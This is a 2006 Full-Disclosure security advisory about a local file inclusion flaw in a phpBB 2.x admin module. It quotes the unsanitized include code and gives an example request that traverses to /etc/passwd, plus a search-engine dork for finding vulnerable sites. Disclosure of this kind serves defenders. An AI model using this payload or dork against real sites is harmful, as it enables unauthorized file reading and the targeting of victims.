--Security Report-- Advisory: phpBB 2.x (admin/admin_hacks_list.php) Local Inclusion Vulnerability. --- Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI --- Date: 27/05/06 07:37 PM --- Contacts:{ ICQ: 10072 MSN/Email: nukedx@nukedx.com Web: http://www.nukedx.com } --- Vendor: Nivisec (http://www.nivisec.com/) Version: 2.x and prior versions must be affected. About: Via this methods remote attacker can include arbitrary local files to phpBB.board_config[default_lang] and phpEx variable in admin/admin_hacks_list.php did not sanitized properl before using it.You can find vulnerable code in admin_hacks_list.php at lines 30-37 -Source in admin_hacks_list.php- 30: if( !empty($setmodules) ) 31: { 32: include($phpbb_root_path . 'language/lang_' . $board_config['default_lang'] . '/lang_admin_hacks_list.' . $phpEx); 33: $filename = basename(__FILE__); 34: $module['General']['Hacks_List'] = $filename; 35: 36: return; 37: } -End of source- Level: Highly Critical --- How&Example: Succesful exploitation register_globals on GET -> http://[victim]/[phpBB]/admin/admin_hacks_list.php?setmodules=1&board_config[default_lang]=english&phpEx=[FILE] EXAMPLE -> http://[victim]/[phpBB]/admin/admin_hacks_list.php?setmodules=1&board_config[default_lang]=english &phpEx=../../../../../../../../etc/passwd --- Timeline: * 27/05/2006: Vulnerability found. * 27/05/2006: Contacted with vendor and waiting reply. --- Exploit: http://www.nukedx.com/?getxpl=37 --- Original advisory can be found at: http://www.nukedx.com/?viewdoc=37 --- Dorks: "Powered by phpBB" inurl:hacks_list.php _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/